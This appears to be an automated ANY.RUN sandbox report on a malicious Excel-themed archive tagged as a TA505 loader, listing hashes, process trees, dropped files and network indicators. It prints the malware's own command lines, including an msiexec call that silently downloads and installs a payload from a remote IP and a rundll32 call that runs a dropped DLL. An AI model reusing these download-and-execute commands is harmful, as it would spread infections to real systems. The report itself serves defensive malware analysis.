analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

19d278bfbe851f8d7599e9e682ccc0f77619b905.xls.tar.gz

Full analysis: https://app.any.run/tasks/82aa16bb-f329-461d-9541-697ed71d270d
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: March 21, 2019, 16:58:25
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exe-to-msi
loader
ta505
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

06B5CAAE5C407F63DDD1DE60F7407313

SHA1:

BAF891F49CD28818571A12072382883E330414DD

SHA256:

9E10CBF641E1F29AAD95A01057ABB622F15F2917DDB948420BD863FAFEB914CD

SSDEEP:

1536:mLSNIRUS1+WcUvYIt646snCPElk/l3kw7afx/5cMX3R5:hNB2+4Y0Hzgk9fQMx5

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads dropped or rewritten executable

      • rundll32.exe (PID: 2100)

    • Application was dropped or rewritten from another process

      • ns4F0F.tmp (PID: 2996)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2812)

    • Uses Microsoft Installer as loader

      • EXCEL.EXE (PID: 2812)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 2932)

    • Downloads executable files from IP

      • msiexec.exe (PID: 2932)

  • SUSPICIOUS

    • Uses RUNDLL32.EXE to load library

      • WinRAR.exe (PID: 572)
      • cmd.exe (PID: 3996)

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 2932)
      • MSI4E44.tmp (PID: 2036)

    • Starts Microsoft Office Application

      • rundll32.exe (PID: 1896)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 2932)

    • Starts CMD.EXE for commands execution

      • ns4F0F.tmp (PID: 2996)

    • Starts application with an unusual extension

      • MSI4E44.tmp (PID: 2036)

  • INFO

    • Application was dropped or rewritten from another process

      • MSI4E44.tmp (PID: 2036)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2812)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 2932)

    • Modifies the open verb of a shell class

      • rundll32.exe (PID: 1896)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 2932)

    • Loads dropped or rewritten executable

      • MSI4E44.tmp (PID: 2036)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: 19d278bfbe851f8d7599e9e682ccc0f77619b905
ZipUncompressedSize: 91136
ZipCompressedSize: 61457
ZipCRC: 0xd1bf39e8
ZipModifyDate: 2019:03:21 10:17:08
ZipCompression: Deflated
ZipBitFlag: 0x0801
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
9
Malicious processes
5
Suspicious processes
4

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe no specs rundll32.exe no specs excel.exe no specs msiexec.exe no specs msiexec.exe msi4e44.tmp ns4f0f.tmp no specs cmd.exe no specs rundll32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
572"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\19d278bfbe851f8d7599e9e682ccc0f77619b905.xls.tar.gz"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
1896"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\Rar$DIb572.3067\19d278bfbe851f8d7599e9e682ccc0f77619b905C:\Windows\system32\rundll32.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2812"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" "C:\Users\admin\AppData\Local\Temp\Rar$DIb572.3067\19d278bfbe851f8d7599e9e682ccc0f77619b905"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
1548msiexec.exe RETURN=185 /i http://169.239.128.104/alg /q ksw='%TEMP%' C:\Windows\system32\msiexec.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2932C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2036"C:\Windows\Installer\MSI4E44.tmp"C:\Windows\Installer\MSI4E44.tmp
msiexec.exe
User:
admin
Company:
hepsu burda
Integrity Level:
MEDIUM
Description:
hepsu burda Application
Version:
1.0.2.1
2996"C:\Users\admin\AppData\Local\Temp\nso4EFE.tmp\ns4F0F.tmp" "cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Users\admin\AppData\Local\Temp\nso4EFE.tmp\ns4F0F.tmp—MSI4E44.tmp
User:
admin
Integrity Level:
MEDIUM
3996"cmd.exe" /c rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\cmd.exe—ns4F0F.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2100rundll32.exe C:\Users\admin\AppData\Local\Temp\xmlparse.dll, segaC:\Windows\system32\rundll32.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
2 140
Read events
1 877
Write events
0
Delete events
0

Modification events

No data
Executable files
6
Suspicious files
3
Text files
10
Unknown types
4

Dropped files

PID
Process
Filename
Type
2812EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR997.tmp.cvr —
MD5:—
SHA256:—
2932msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF0FFFA6F6032878F6.TMP —
MD5:—
SHA256:—
2932msiexec.exeC:\Windows\Installer\MSI4AC6.tmpexecutable
MD5:D4C11BDA021113CA4604D80896B2A492
SHA256:AE2B1B1F7265386EDBBF2617084F277CDB9BC5AC34BD9AAC00CBC77A6BDCD829
2036MSI4E44.tmpC:\Users\admin\AppData\Local\Temp\xmlparse.dllexecutable
MD5:6675C63A2534FD65B3B2DA751F2B393F
SHA256:BEE3B2710F7E874CE05E6B8B45CC20E021B9C00EE337238598E71E7315128333
2932msiexec.exeC:\Windows\Installer\MSI4E44.tmpexecutable
MD5:DDAE8B7AA9A93CE17610EB063F5838CE
SHA256:E0323064F2561AE02F9EFAE418AEAF433B3FE0E6E3A640A9C46EC404D4563DE1
2932msiexec.exeC:\Windows\Installer\MSI4D96.tmpbinary
MD5:96538656516ED7B46ACCA5FDBD757516
SHA256:33217039C0E308A792B5707B1CE0E02410C563E9303CE7C75AF393F9C8BEAEB1
572WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb572.3067\19d278bfbe851f8d7599e9e682ccc0f77619b905document
MD5:E5140EB52558797DBE9FAAB58C78C493
SHA256:63522E00181E6B8D9AE8BFD51F7DF8F8EBD0F42323E22047269DF9C7A71C9B6D
2932msiexec.exeC:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.datdat
MD5:5FE13AB01304505836FA1D81FEA46128
SHA256:DEDAF14EB7F87607C095D28A3809979D86BB39E920463E0B52F49713B44152EF
2932msiexec.exeC:\Windows\Installer\104d38.ipibinary
MD5:F922515C6626F65FBB71F802D722F9E4
SHA256:8ADC1428B68D3653B71D2D2E9553896F61B48EC2A1E41370147D682B84228E70
2036MSI4E44.tmpC:\Users\admin\AppData\Local\Temp\2.lnklnk
MD5:BFDA100C2049DA534D6FC920BBACD486
SHA256:503CB60D119B783ACFB2E25ACC11CAE78485B13F8DA43D70B3A2D1D1A02BB86F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2932
msiexec.exe
GET
200
169.239.128.104:80
http://169.239.128.104/alg
ZA
executable
396 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2932
msiexec.exe
169.239.128.104:80
—
Zappie Host LLC
ZA
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
2932
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
2932
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
19d278bfbe851f8d7599e9e682ccc0f77619b905.xls.tar.gz